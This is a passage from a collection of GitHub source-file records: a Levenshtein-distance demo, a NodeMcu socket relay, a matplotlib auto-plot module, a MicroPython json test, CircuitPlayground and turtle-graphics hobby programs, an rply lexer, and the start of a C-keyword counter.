 row = rows\n    col = cols\n\n    # get costs from input tuple\n    d_cost, i_cost, s_cost = c\n\n    # setup blank matrices to hold distances and operations\n    dist = [[0 for x in range(cols)] for x in range(rows)]\n\n    # setup delete costs\n    for row in range(1, rows):\n        dist[row][0] = row * d_cost\n\n    # setup insert costs\n    for col in range(1, cols):\n        dist[0][col] = col * i_cost\n\n    # print initial matrix\n    if verbose == 2:\n        print()\n        print(\"Initial Matrix:\")\n        print_matrix(s, t, dist)\n\n    for col in range(1, cols):\n        for row in range(1, rows):\n\n            if verbose == 2:\n                print(pos_str.format(str(row), str(col)))\n                print(let_str.format(str(s[row - 1]), str(t[col - 1])))\n\n            # determine costs\n            del_cost = dist[row - 1][col] + d_cost\n            if verbose == 2:\n                print(cst_str.format(\"delete\", str(row - 1), str(col), str(d_cost), str(del_cost)))\n\n            ins_cost = dist[row][col - 1] + i_cost\n            if verbose == 2:\n                print(cst_str.format(\"insert\", str(row), str(col - 1), str(i_cost), str(ins_cost)))\n\n            # sub cost could be 0 if letters are the same\n            if s[row - 1] == t[col - 1]:\n                sub_cost = dist[row - 1][col - 1] + 0\n                if verbose == 2:\n                    print(cst_str.format(\"substitute (no change)\", str(row - 1), str(col - 1), \"0\", str(sub_cost)))\n            else:\n                sub_cost = dist[row - 1][col - 1] + s_cost\n                if verbose == 2:\n                    print(cst_str.format(\"substitute\", str(row - 1), str(col - 1), str(s_cost), str(sub_cost)))\n\n            # determine least costly operation\n            if del_cost == min(del_cost, ins_cost, sub_cost):\n                dist[row][col] = del_cost\n                if verbose == 2:\n                    print(op_str.format('delete', del_cost))\n\n            elif ins_cost == min(del_cost, ins_cost, sub_cost):\n                dist[row][col] = ins_cost\n                if verbose == 2:\n                    print(op_str.format('insert', ins_cost))\n\n            else:\n                # sub_cost == min(del_cost, ins_cost, sub_cost):\n                dist[row][col] = sub_cost\n                if verbose == 2:\n                    print(op_str.format('substitute', sub_cost))\n\n            # print matrix every iteration is verbose output is on\n            if verbose == 2:\n                print()\n                print_matrix(s, t, dist)\n\n    return dist[row][col], dist\n\n\ndef calc_ratio(s, t):\n\n    # when calculating the ratio the cost of a sub=2\n    # think of it is delete + insert\n    dist, m = find_ld(s, t, [1, 1, 2])\n    ratio = ((len(s) + len(t)) - dist) / (len(s) + len(t))\n    return ratio\n\n\n# #### MAIN ####\nprint()\nprint(\"Demonstrate computation of Levenshtein Distance (LD) between two words.\")\nprint(\"Determine the minimum number of edits to transform source word into target word.\")\nprint(\"For example, how many substitutions, insertions, or deletions are required to\")\nprint(\"turn 'house' into 'home'?  (Answer: 2), or Democrat into Republican (Answer: 8).\")\nprint()\nprint(\"The default cost for all edit operations is 1.\")\nprint()\nprint(\"Debug:  0 = return only the LD\")\nprint(\"        1 = return LD plus distance, minimum path, and operations matrices\")\nprint(\"        2 = return all intermediate matrices and computations (i.e., lots of output\")\nprint()\nprint(\"Other fun examples:\")\nprint(\"  abc       -> xyz  LD: 3\")\nprint(\"  kitten    -> sitting  LD: 3\")\nprint(\"  intention -> execution  LD: 5\")\nprint(\"  manahaton -> manhattan  LD 3\")\nprint(\"  00101010  -> 110110  LD: 3\")\nprint()\n\n# get user inputs\nsource, target, verbose = get_user_input()\n\n# setup the costs tuple\ncosts = [int(_del_cost), int(_ins_cost), int(_sub_cost)]\n\n# keep shape of matrix consistent\nif len(source) < len(target):\n    temp = source\n    source = target\n    target = temp\n    print(\"* switching source and target words to maintain matrix shape *\")\n\n# calculate Levenshtein distance\nld, dist_m = find_ld(source, target, costs)\n\n# calculate the Levenshtein similarity ratio\n# ((len(s) + len(t)) - LD) / (len(s) + len(t))\nlev_ratio = calc_ratio(source, target)\n\n# print results\nif verbose > 0:\n\n    # navigate results matrix to find minimum path\n    min_m = find_min_path(source, target, dist_m)\n\n    # build operations matrix\n    ws, ops_m = build_ops_matrix_and_ws(source, target, min_m)\n\n    print()\n    print(\"***** FINAL RESULTS *****\")\n    print()\n    print(\"Final Distance Matrix:\")\n    print_matrix(source, target, dist_m)\n    print()\n\n    print(\"Minimum Path Matrix: \")\n    print_matrix(source, target, min_m)\n    print()\n\n    print(\"Final Operations Matrix:\")\n    print_matrix(source, target, ops_m)\n    print()\n\n    print(\"Sequential Edits:\")\n    for s in ws:\n        print(s)\n\nprint()\nprint(\"Levenshtein Distance (LD) between '\" + source + \"' and '\" + target + \"' is: \" + str(ld))\nprint(\"Levenshtein similarity ratio is: \" + str(lev_ratio))\nprint()\n\n# <>< #\n","repo_name":"msroth/levenshtein","sub_path":"LD.py","file_name":"LD.py","file_ext":"py","file_size_in_byte":20640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13642706714","text":"import socket\n\ns = socket.socket()\nprint('socket Created')\n\ns.bind(('0.0.0.0',9999))\ns.listen(5)\n\nprint('Waiting For Connections')\n\ndef sendToNode(status):\n        nodeSock, nodeAdr = s.accept()\n        print(nodeAdr)\n        #hostname = socket.gethostbyname(nodeAdr[0])\n        #print(hostname)\n        #node.connect(('157.33.145.3',52295))\n        if(nodeAdr[0] == '49.35.53.110'):\n                if(status == 'ON'):\n                        print('Data send to NodeMcu')\n                        nodeSock.sendall(bytes('ON','utf-8'))\n                elif(status == 'OFF'):\n                        print('Data send to NodeMcu')\n                        nodeSock.sendall(bytes('OFF','utf-8'))\n\n\nwhile True:\n        c,adr = s.accept()\n        data = c.recv(1024).decode()\n        if(data.find('ON')!=-1):sendToNode('ON')\n        if(data.find('OFF')!=-1):sendToNode('OFF')\n        print(data,adr)\n        c.close()\n","repo_name":"sahildugaje/NodeMcu-Projects","sub_path":"SendToNodeMcuUsingServer(SocketProgramming)/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39363130782","text":"import math\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.colors import LogNorm\nfrom matplotlib.ticker import EngFormatter, LogFormatterSciNotation\nfrom scipy.interpolate import griddata\n\n\ndef good_for_logscale(x, threshold=4):\n    if np.any(x <= 0):\n        return False\n    mid = (np.nanmin(x) + np.nanmax(x)) / 2\n    a = np.count_nonzero(np.nan_to_num(x <= mid, nan=0))\n    b = np.count_nonzero(np.nan_to_num(x >= mid, nan=0))\n    if a / b > threshold:\n        return True\n    return False\n\n\ndef equal_logspace(x):\n    logx = np.logspace(np.log10(x[0]), np.log10(x[-1]), len(x))\n    return np.allclose(x, logx)\n\n\ndef equal_linspace(x):\n    linearx = np.linspace(x[0], x[-1], len(x))\n    return np.allclose(x, linearx)\n\n\ndef as_1d_data(x, y, z):\n    x = np.asarray(x)\n    y = np.asarray(y)\n    z = np.asarray(z)\n    if z.ndim == 1:\n        return x, y, z\n\n    if z.ndim == 2:\n        x, y = np.meshgrid(x, y)\n        return x.ravel(), y.ravel(), z.ravel()\n\n    raise ValueError(\"z must be 1D or 2D\")\n\n\ndef griddata_logx_logy(x, y, z, shape=(401, 401)):\n    x, y, z = as_1d_data(x, y, z)\n    xspace = np.logspace(np.log10(x.min()), np.log10(x.max()), shape[0])\n    yspace = np.logspace(np.log10(y.min()), np.log10(y.max()), shape[1])\n    xgrid, ygrid = np.meshgrid(xspace, yspace)\n    zgrid = griddata((x, y), z, (xgrid, ygrid), method='nearest')\n    return xspace, yspace, zgrid\n\n\ndef griddata_logx_linear_y(x, y, z, shape=(401, 401)):\n    x, y, z = as_1d_data(x, y, z)\n    xspace = np.logspace(np.log10(x.min()), np.log10(x.max()), shape[0])\n    yspace = np.linspace(y.min(), y.max(), shape[1])\n    xgrid, ygrid = np.meshgrid(xspace, yspace)\n    zgrid = griddata((x, y), z, (xgrid, ygrid), method='nearest')\n    return xspace, yspace, zgrid\n\n\ndef griddata_linear_x_logy(x, y, z, shape=(401, 401)):\n    x, y, z = as_1d_data(x, y, z)\n    xspace = np.linspace(x.min(), x.max(), shape[0])\n    yspace = np.logspace(np.log10(y.min()), np.log10(y.max()), shape[1])\n    xgrid, ygrid = np.meshgrid(xspace, yspace)\n    zgrid = griddata((x, y), z, (xgrid, ygrid), method='nearest')\n    return xspace, yspace, zgrid\n\n\ndef griddata_linear_x_linear_y(x, y, z, shape=(401, 401)):\n    x, y, z = as_1d_data(x, y, z)\n    xspace = np.linspace(x.min(), x.max(), shape[0])\n    yspace = np.linspace(y.min(), y.max(), shape[1])\n    xgrid, ygrid = np.meshgrid(xspace, yspace)\n    zgrid = griddata((x, y), z, (xgrid, ygrid), method='nearest')\n    return xspace, yspace, zgrid\n\n\ndef _get_log_ticks(x):\n    log10x = np.log10(x)\n\n    major_ticks = np.array(\n        range(math.floor(log10x[0]) - 1,\n              math.ceil(log10x[-1]) + 1))\n    minor_ticks = np.hstack([\n        np.log10(np.linspace(2, 10, 9, endpoint=False)) + x\n        for x in major_ticks\n    ])\n\n    major_ticks = major_ticks[(major_ticks >= log10x[0]) *\n                              (major_ticks <= log10x[-1])]\n    minor_ticks = minor_ticks[(minor_ticks >= log10x[0]) *\n                              (minor_ticks <= log10x[-1])]\n\n    return log10x, major_ticks, minor_ticks\n\n\nclass MyLogFormatter(EngFormatter):\n\n    def format_ticks(self, values):\n        if self.unit is None or self.unit == '':\n            fmt = LogFormatterSciNotation()\n            return [f\"${fmt.format_data(10.0**x)}$\" for x in values]\n        else:\n            return super().format_ticks(values)\n\n    def format_eng(self, x):\n        if self.unit is None or self.unit == '':\n            self.unit = ''\n            return f\"{10.0**x:g}\"\n        else:\n            return super().format_eng(10.0**x)\n\n\ndef imshow_logx(x, y, z, x_unit=None, ax=None, **kwargs):\n    if ax is None:\n        ax = plt.gca()\n\n    log10x, major_ticks, minor_ticks = _get_log_ticks(x)\n\n    dlogx, dy = log10x[1] - log10x[0], y[1] - y[0]\n    extent = (log10x[0] - dlogx / 2, log10x[-1] + dlogx / 2, y[0] - dy / 2,\n              y[-1] + dy / 2)\n\n    img = ax.imshow(z, extent=extent, **kwargs)\n\n    ax.set_xticks(major_ticks, minor=False)\n    ax.xaxis.set_major_formatter(MyLogFormatter(x_unit))\n    ax.set_xticks(minor_ticks, minor=True)\n\n    return img\n\n\ndef imshow_logy(x, y, z, y_unit=None, ax=None, **kwargs):\n    if ax is None:\n        ax = plt.gca()\n\n    log10y, major_ticks, minor_ticks = _get_log_ticks(y)\n\n    dlogy, dx = log10y[1] - log10y[0], x[1] - x[0]\n    extent = (x[0] - dx / 2, x[-1] + dx / 2, log10y[0] - dlogy / 2,\n              log10y[-1] + dlogy / 2)\n\n    img = ax.imshow(z, extent=extent, **kwargs)\n\n    ax.set_yticks(major_ticks, minor=False)\n    ax.yaxis.set_major_formatter(MyLogFormatter(y_unit))\n    ax.set_yticks(minor_ticks, minor=True)\n\n    return img\n\n\ndef imshow_loglog(x, y, z, x_unit=None, y_unit=None, ax=None, **kwargs):\n    if ax is None:\n        ax = plt.gca()\n\n    log10x, x_major_ticks, x_minor_ticks = _get_log_ticks(x)\n    log10y, y_major_ticks, y_minor_ticks = _get_log_ticks(y)\n\n    dlogx, dlogy = log10x[1] - log10x[0], log10y[1] - log10y[0]\n    extent = (log10x[0] - dlogx / 2, log10x[-1] + dlogx / 2,\n              log10y[0] - dlogy / 2, log10y[-1] + dlogy / 2)\n\n    img = ax.imshow(z, extent=extent, **kwargs)\n\n    ax.set_xticks(x_major_ticks, minor=False)\n    ax.xaxis.set_major_formatter(MyLogFormatter(x_unit))\n    ax.set_xticks(x_minor_ticks, minor=True)\n\n    ax.set_yticks(y_major_ticks, minor=False)\n    ax.yaxis.set_major_formatter(MyLogFormatter(y_unit))\n    ax.set_yticks(y_minor_ticks, minor=True)\n\n    return img\n\n\ndef plot_lines(x,\n               y,\n               z,\n               xlabel,\n               ylabel,\n               zlabel,\n               x_unit,\n               y_unit,\n               z_unit,\n               ax,\n               xscale='linear',\n               yscale='linear',\n               zscale='linear',\n               index=None,\n               **kwds):\n    z = np.asarray(z)\n    if len(y) > len(x):\n        x, y = y, x\n        xlabel, ylabel = ylabel, xlabel\n        xscale, yscale = yscale, xscale\n        z = z.T\n    if index is not None:\n        y = y[index]\n        z = z[index, :]\n\n    for i, l in enumerate(y):\n        if y_unit:\n            label = f\"{ylabel}={l:.3} [{y_unit}]\"\n        else:\n            if isinstance(l, float):\n                label = f\"{ylabel}={l:.3}\"\n            else:\n                label = f\"{ylabel}={l}\"\n        ax.plot(x, z[i, :], label=label, **kwds)\n    ax.legend()\n    xlabel = f\"{xlabel} [{x_unit}]\" if x_unit else xlabel\n    zlabel = f\"{zlabel} [{z_unit}]\" if z_unit else zlabel\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(zlabel)\n    ax.set_xscale(xscale)\n    ax.set_yscale(zscale)\n\n\ndef plot_img(x,\n             y,\n             z,\n             xlabel,\n             ylabel,\n             zlabel,\n             x_unit,\n             y_unit,\n             z_unit,\n             fig,\n             ax,\n             xscale='linear',\n             yscale='linear',\n             zscale='linear',\n             resolution=None,\n             **kwds):\n    kwds.setdefault('origin', 'lower')\n    kwds.setdefault('aspect', 'auto')\n    kwds.setdefault('interpolation', 'nearest')\n\n    if zscale == 'log':\n        vmim = kwds.get('vmin', np.min(z))\n        vmax = kwds.get('vmax', np.max(z))\n        kwds.setdefault('norm', LogNorm(vmax=vmax, vmin=vmim))\n    zlabel = f\"{zlabel} [{z_unit}]\" if z_unit else zlabel\n\n    band_area = False\n    if x.ndim == 1 and y.ndim == 2 and y.shape[1] == x.shape[0]:\n        x = np.asarray([x] * y.shape[0])\n        band_area = True\n    elif x.ndim == 2 and y.ndim == 1 and x.shape[0] == y.shape[0]:\n        y = np.asarray([y] * x.shape[1]).T\n        band_area = True\n    if band_area:\n        kwds.pop('origin', None)\n        kwds.pop('aspect', None)\n        kwds.pop('interpolation', None)\n        print(x.shape, y.shape, z.shape)\n        pc = ax.pcolormesh(x, y, z, **kwds)\n        xlabel = f\"{xlabel} [{x_unit}]\" if x_unit else xlabel\n        ylabel = f\"{ylabel} [{y_unit}]\" if y_unit else ylabel\n        ax.set_xlabel(xlabel)\n        ax.set_ylabel(ylabel)\n        cb = fig.colorbar(pc, ax=ax)\n        ax.set_xscale(xscale)\n        ax.set_yscale(yscale)\n        cb.set_label(zlabel)\n        return\n\n    if resolution is None:\n        resolution = (401, 401)\n    elif isinstance(resolution, int):\n        resolution = (resolution, resolution)\n\n    if (z.ndim == 1 or (xscale == 'linear' and not equal_linspace(x))\n            or (yscale == 'linear' and not equal_linspace(y))\n            or (xscale == 'log' and not equal_logspace(x))\n            or (yscale == 'log' and not equal_logspace(y))):\n        griddata = {\n            ('log', 'log'): griddata_logx_logy,\n            ('log', 'linear'): griddata_logx_linear_y,\n            ('linear', 'log'): griddata_linear_x_logy,\n            ('linear', 'linear'): griddata_linear_x_linear_y,\n        }[(xscale, yscale)]\n        x, y, z = griddata(x, y, z, resolution)\n\n    if (xscale, yscale) == ('linear', 'linear'):\n        dx, dy = x[1] - x[0], y[1] - y[0]\n        extent = (x[0] - dx / 2, x[-1] + dx / 2, y[0] - dy / 2, y[-1] + dy / 2)\n        kwds.setdefault('extent', extent)\n        img = ax.imshow(np.asarray(z), **kwds)\n        xlabel = f\"{xlabel} [{x_unit}]\" if x_unit else xlabel\n        ylabel = f\"{ylabel} [{y_unit}]\" if y_unit else ylabel\n    elif (xscale, yscale) == ('log', 'linear'):\n        ylabel = f\"{ylabel} [{y_unit}]\" if y_unit else ylabel\n        img = imshow_logx(x, y, z, x_unit, ax, **kwds)\n    elif (xscale, yscale) == ('linear', 'log'):\n        xlabel = f\"{xlabel} [{x_unit}]\" if x_unit else xlabel\n        img = imshow_logy(x, y, z, y_unit, ax, **kwds)\n    elif (xscale, yscale) == ('log', 'log'):\n        img = imshow_loglog(x, y, z, x_unit, y_unit, ax, **kwds)\n    else:\n        pass\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(ylabel)\n    cb = fig.colorbar(img, ax=ax)\n    cb.set_label(zlabel)\n\n\ndef plot_scatter(x,\n                 y,\n                 z,\n                 xlabel,\n                 ylabel,\n                 zlabel,\n                 x_unit,\n                 y_unit,\n                 z_unit,\n                 fig,\n                 ax,\n                 xscale='linear',\n                 yscale='linear',\n                 zscale='linear',\n                 **kwds):\n    if np.any(np.iscomplex(z)):\n        s = np.abs(z)\n        c = np.angle(z)\n    else:\n        s = np.abs(z)\n        c = z.real\n    ax.scatter(x, y, s=s, c=c, **kwds)\n    xlabel = f\"{xlabel} [{x_unit}]\" if x_unit else xlabel\n    ylabel = f\"{ylabel} [{y_unit}]\" if y_unit else ylabel\n    ax.set_xlabel(xlabel)\n    ax.set_ylabel(ylabel)\n    ax.set_xscale(xscale)\n    ax.set_yscale(yscale)\n\n\ndef autoplot(x,\n             y,\n             z,\n             xlabel='x',\n             ylabel='y',\n             zlabel='z',\n             x_unit='',\n             y_unit='',\n             z_unit='',\n             fig=None,\n             ax=None,\n             index=None,\n             xscale='auto',\n             yscale='auto',\n             zscale='auto',\n             max_lines=3,\n             scatter_lim=1000,\n             resolution=None,\n             **kwds):\n    \"\"\"\n    Plot a 2D array as a line plot or an image.\n\n    Parameters:\n        x (array): x values\n        y (array): y values\n        z (array): z values\n        xlabel (str): x label\n        ylabel (str): y label\n        zlabel (str): z label\n        x_unit (str): x unit\n        y_unit (str): y unit\n        z_unit (str): z unit\n        fig (Figure): figure to plot on\n        ax (Axes): axes to plot on\n        index (int): index of the line to plot\n        xscale (str): x scale 'auto', 'linear' or 'log'\n        yscale (str): y scale 'auto', 'linear' or 'log'\n        zscale (str): z scale 'auto', 'linear' or 'log'\n        max_lines (int): maximum number of lines to plot\n        **kwds: keyword arguments passed to plot_img or plot_lines\n    \"\"\"\n    if ax is not None:\n        fig = ax.figure\n    if fig is None:\n        fig = plt.gcf()\n    if ax is None:\n        ax = fig.add_subplot(111)\n\n    x = np.asarray(x)\n    y = np.asarray(y)\n    z = np.asarray(z)\n\n    if xscale == 'auto':\n        if good_for_logscale(x):\n            xscale = 'log'\n        else:\n            xscale = 'linear'\n    if yscale == 'auto':\n        if good_for_logscale(y):\n            yscale = 'log'\n        else:\n            yscale = 'linear'\n    if zscale == 'auto':\n        if good_for_logscale(z):\n            zscale = 'log'\n        else:\n            zscale = 'linear'\n\n    if x.shape == y.shape == z.shape and z.size < scatter_lim:\n        plot_scatter(x,\n                     y,\n                     z,\n                     xlabel,\n                     ylabel,\n                     zlabel,\n                     x_unit,\n                     y_unit,\n                     z_unit,\n                     fig,\n                     ax,\n                     xscale=xscale,\n                     yscale=yscale,\n                     zscale=zscale,\n                     **kwds)\n    elif z.ndim == 2 and (len(y) <= max_lines or len(x) <= max_lines\n                          or index is not None):\n        plot_lines(x,\n                   y,\n                   z,\n                   xlabel,\n                   ylabel,\n                   zlabel,\n                   x_unit=x_unit,\n                   y_unit=y_unit,\n                   z_unit=z_unit,\n                   xscale=xscale,\n                   yscale=yscale,\n                   zscale=zscale,\n                   ax=ax,\n                   index=index,\n                   **kwds)\n    else:\n        plot_img(x,\n                 y,\n                 z,\n                 xlabel,\n                 ylabel,\n                 zlabel,\n                 x_unit=x_unit,\n                 y_unit=y_unit,\n                 z_unit=z_unit,\n                 xscale=xscale,\n                 yscale=yscale,\n                 zscale=zscale,\n                 fig=fig,\n                 ax=ax,\n                 resolution=resolution,\n                 **kwds)\n","repo_name":"feihoo87/waveforms","sub_path":"waveforms/visualization/_autoplot.py","file_name":"_autoplot.py","file_ext":"py","file_size_in_byte":13818,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"}
+{"seq_id":"32472943429","text":"try:\n    from io import StringIO\n    import json\nexcept ImportError:\n    print(\"SKIP\")\n    raise SystemExit\n\ns = StringIO()\njson.dump(False, s)\nprint(s.getvalue())\n\ns = StringIO()\njson.dump({\"a\": (2, [3, None])}, s)\nprint(s.getvalue())\n\n# dump to a small-int not allowed\ntry:\n    json.dump(123, 1)\nexcept (AttributeError, OSError):  # CPython and uPy have different errors\n    print(\"Exception\")\n\n# dump to an object not allowed\ntry:\n    json.dump(123, {})\nexcept (AttributeError, OSError):  # CPython and uPy have different errors\n    print(\"Exception\")\n","repo_name":"micropython/micropython","sub_path":"tests/extmod/json_dump.py","file_name":"json_dump.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":17509,"dataset":"github-code","pt":"22"}
+{"seq_id":"14156488470","text":"import time\nfrom adafruit_circuitplayground import cp\n\nHS_OCT = 12  # Half-steps per octave\nHS_4TH = 5  # Half-steps in a fourth\nARPEGGIOS = ((0, 4, 7, 10), (0, 3, 5, 6, 7, 10))  # Dominant seventh  # Blues\nNUM_OCTAVES = 2\nSTARTING_NOTE = 233.08\nMIN_NOTE_PLAY_SECONDS = 0.25\nBUTTON_REPEAT_AFTER_SECONDS = 0.25\n\n\nclass FrequencyMaker:\n    \"\"\"Provide frequencies for playing notes\"\"\"\n\n    def __init__(self):\n        num_octaves_to_pre_compute = NUM_OCTAVES + 2\n        num_freqs = HS_OCT * num_octaves_to_pre_compute\n\n        def calc_freq(i):\n            return STARTING_NOTE * 2 ** (i / HS_OCT)\n\n        self.note_frequencies = [calc_freq(i) for i in range(num_freqs)]\n        self.arpeg_note_indexes = FrequencyMaker.create_arpeggios(\n            num_octaves_to_pre_compute\n        )\n        self.circle_pos = 0\n        self.key_offset = 0\n\n    @staticmethod\n    def create_arpeggios(num_octaves):\n        \"\"\"Create a list of arpeggios, where each one is a list of chromatic scale note indexes\"\"\"\n        return [\n            FrequencyMaker.create_arpeggio(arpeggio, num_octaves)\n            for arpeggio in ARPEGGIOS\n        ]\n\n    @staticmethod\n    def create_arpeggio(arpeggio, num_octaves):\n        return [\n            octave * HS_OCT + note for octave in range(num_octaves) for note in arpeggio\n        ]\n\n    def advance(self, amount):\n        \"\"\"Advance forward or backward through the circle of fourths\"\"\"\n        self.circle_pos = (self.circle_pos + amount) % HS_OCT\n        self.key_offset = self.circle_pos * HS_4TH % HS_OCT\n\n    def freq(self, normalized_position, selected_arpeg):\n        \"\"\"Return the frequency for the note at the specified position in the specified arpeggio\"\"\"\n        selected_arpeg_note_indexes = self.arpeg_note_indexes[selected_arpeg]\n        num_notes_in_selected_arpeg = len(ARPEGGIOS[selected_arpeg])\n        num_arpeg_notes_in_range = num_notes_in_selected_arpeg * NUM_OCTAVES + 1\n        arpeg_index = int(normalized_position * num_arpeg_notes_in_range)\n        note_index = self.key_offset + selected_arpeg_note_indexes[arpeg_index]\n        return self.note_frequencies[note_index]\n\n\nclass ButtonDetector:\n    def __init__(self):\n        self.next_press_allowed_at = time.monotonic()\n        self.buttons_on = (cp.button_a, cp.button_b)\n\n    def pressed(self, index):\n        \"\"\"Return whether the specified button (0=A, 1=B) was pressed, limiting the repeat rate\"\"\"\n        pressed = cp.button_b if index else cp.button_a\n        if pressed:\n            now = time.monotonic()\n            if now >= self.next_press_allowed_at:\n                self.next_press_allowed_at = now + BUTTON_REPEAT_AFTER_SECONDS\n                return True\n        return False\n\n\nclass TiltingArpeggios:\n    def __init__(self):\n        cp.pixels.brightness = 0.2\n        self.freq_maker = FrequencyMaker()\n        TiltingArpeggios.update_pixel(self.freq_maker.circle_pos)\n        self.button = ButtonDetector()\n        self.last_freq = None\n        self.next_freq_change_allowed_at = time.monotonic()\n\n    def run(self):\n        while True:\n            self.process_button_presses()\n            if time.monotonic() >= self.next_freq_change_allowed_at:\n                self.next_freq_change_allowed_at = (\n                    time.monotonic() + MIN_NOTE_PLAY_SECONDS\n                )\n                self.change_tone_if_needed()\n\n    @staticmethod\n    def update_pixel(circle_pos):\n        \"\"\"Manage the display on the NeoPixels of the current circle position\"\"\"\n        cp.pixels.fill((0, 0, 0))\n        # Light the pixels clockwise from “1 o’clock” with the USB connector on the bottom\n        pixel_index = (4 - circle_pos) % 10\n        # Use a different color after all ten LEDs used\n        color = (0, 255, 0) if circle_pos <= 9 else (255, 255, 0)\n        cp.pixels[pixel_index] = color\n\n    @staticmethod\n    def tilt():\n        \"\"\"Normalize the Y-Axis Tilt\"\"\"\n        standard_gravity = (\n            9.81  # Acceleration (m/s²) due to gravity at the earth’s surface\n        )\n        constrained_accel = min(max(0.0, -cp.acceleration[1]), standard_gravity)\n        return constrained_accel / standard_gravity\n\n    def process_button_presses(self):\n        \"\"\"For each of the buttons A and B, if pushed, advance forward or backward\"\"\"\n        for button_index, direction in enumerate((1, -1)):\n            if self.button.pressed(button_index):\n                self.freq_maker.advance(direction)\n                TiltingArpeggios.update_pixel(self.freq_maker.circle_pos)\n\n    def change_tone_if_needed(self):\n        \"\"\"Find the frequency for the current arpeggio and tilt, and restart the tone if changed\"\"\"\n        arpeggio_index = 0 if cp.switch else 1\n        freq = self.freq_maker.freq(TiltingArpeggios.tilt(), arpeggio_index)\n        if freq != self.last_freq:\n            self.last_freq = freq\n            cp.stop_tone()\n            cp.start_tone(freq)\n\n\nTiltingArpeggios().run()\n","repo_name":"adafruit/Adafruit_CircuitPython_CircuitPlayground","sub_path":"examples/circuitplayground_advanced_examples/circuitplayground_tilting_arpeggios.py","file_name":"circuitplayground_tilting_arpeggios.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"22"}
+{"seq_id":"39563936764","text":"import turtle\nimport time\n\n\ndef draw_butterfly(num: 'длина крыла, int, >0'):\n    for i in range(num):\n        draw_circle(i, 'left')\n        draw_circle(i, 'right')\n\n\ndef draw_circle(num: 'int, >=0', side: 'str, left or right'):\n    if side != 'left' and side != 'right':\n        return Exception('Неверно указан параметр \"side\"!')\n    else:\n        for i in range(72):\n            turtle.forward(2 + num)\n            if side == 'left':\n                turtle.left(5)\n            else:\n                turtle.right(5)\n\n\nif __name__ == '__main__':\n    turtle.shape('turtle')\n    turtle.left(90)\n    time.sleep(1)\n\n    draw_butterfly(2)\n    time.sleep(1)\n","repo_name":"ispaneli/mipt_python_turtle_lab-02","sub_path":"task_11.py","file_name":"task_11.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73708080055","text":"from rply import ParserGenerator, LexerGenerator, ParsingError\nlg = LexerGenerator()\n# Add takes a rule name, and a regular expression that defines the rule.\nkeywords = [\"IF\", \"WHILE\", \"NEW\", \"SOCKET\", \"COLON\", \"NUMBER\", \"PLUS\", \"MINUS\", \"MULTIPLY\",\n           \"DIVIDE\", \"NUMBER\", \"STRING\", \"OPEN_PAREN\", \"CLOSED_PAREN\", \"COMMA\", \"RECV\",\n           \"SEND\", \"OBJECT\", \"VAR\", \"NAME\", \"CONDITIONAL\", \"PERIOD\", \"EQUAL\", \"COMMENT\",\n           \"END\", \"GREATER_THAN_OR_EQUAL_TO\", \"LESS_THAN_OR_EQUAL_TO\"]\noperations = [\"CONNECT\"]\nlg.add(\"PLUS\", r\"\\+\")\nlg.add(\"MINUS\", r\"-\")\nlg.add(\"MULTIPLY\", r\"\\*\")\nlg.add(\"DIVIDE\", r\"/\")\nlg.add(\"EQUAL\", r\"=\")\nlg.add(\"NUMBER\", r\"\\d+\")\nlg.add(\"STRING\", r'\\\"[\\w\\s\\.]+\\\"')\nlg.add(\"NEW\", r\"\\New\")\nlg.add(\"SOCKET\", r\"\\Socket\")\nlg.add(\"OPEN_PAREN\", r\"[(]\")\nlg.add(\"CLOSED_PAREN\", r\"[)]\")\nlg.add(\"COLON\", r\"\\:\")\nlg.add(\"CONNECT\", r\"\\connect\")\nlg.add(\"SEND\", r\"\\Send\")\nlg.add(\"COMMA\", r\"\\,\")\nlg.add(\"OBJECT\", r\"([A-Za-z0-9_\\./\\\\-]*)\\.\")\nlg.add(\"IF\", r\"\\if\")\nlg.add(\"ELSEIF\", r\"\\elseif\")\nlg.add(\"ELSE\", r\"\\else\")\nlg.add(\"END\", r\"\\end\")\nlg.add(\"PERIOD\", \"\\.\")\nlg.add('QUOTE', '\\\"')\nlg.add(\"CONDITIONAL\", r\"[^\\w\\s]+\")\nlg.add(\"GREATER_THAN_OR_EQUAL_TO\", \">=\")\nlg.add(\"LESS_THAN_OR_EQUAL_TO\", \"<=\")\nlg.add(\"ATOM\", r\"[a-zA-Z]+\")\nlg.add(\"COMMENT\", r\"//(.*)//\")\nlg.add(\"IN\", r\"\\in\")\nlg.add(\"PERIOD\", r\"\\.\")\nlg.ignore(r\"\\s+\")\nlexer = lg.build()\n","repo_name":"ericxx1/myraid-beta","sub_path":"myraid/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11665209613","text":"import os\n\n# 定义关键词字母表\nalphabet = ['auto','break','case','char','const','continue','default','do',\\\n            'double','else','enum','extern','float','for','goto','if',\\\n            'int','long','register','return','short','signed','sizeof','static',\\\n            'struct','switch','typedef','union','unsigned','void','volatile','while']\nsuffix = ['.c', '.h']\n\n# 字典存储\nDICT = {}\nfor keyword in alphabet:\n    DICT[keyword] = 0\n\n# 遍历文件夹，通过后缀名来判断c源文件，并读取代码信息\n# 进行词频统计\ndef traverse(folder):\n    global d\n    for root, dirs, files in os.walk(folder):\n        if files:\n            for file in files:\n                filename = os.path.join(root,file)\n                if os.path.splitext(filename)[1] in suffix:\n                    stat(filename, DICT)\n        if dirs:\n            for directory in dirs:\n                print(directory)\n                traverse(directory)\n\ndef stat(file, d):\n    words = []\n    with open(file, 'r', errors='ignore') as f:\n        for i, line in enumerate(f):\n            words += line.replace('\\n','').replace('\\t','').split(' ')\n    for word in words:\n        if word in d:\n            d[word] += 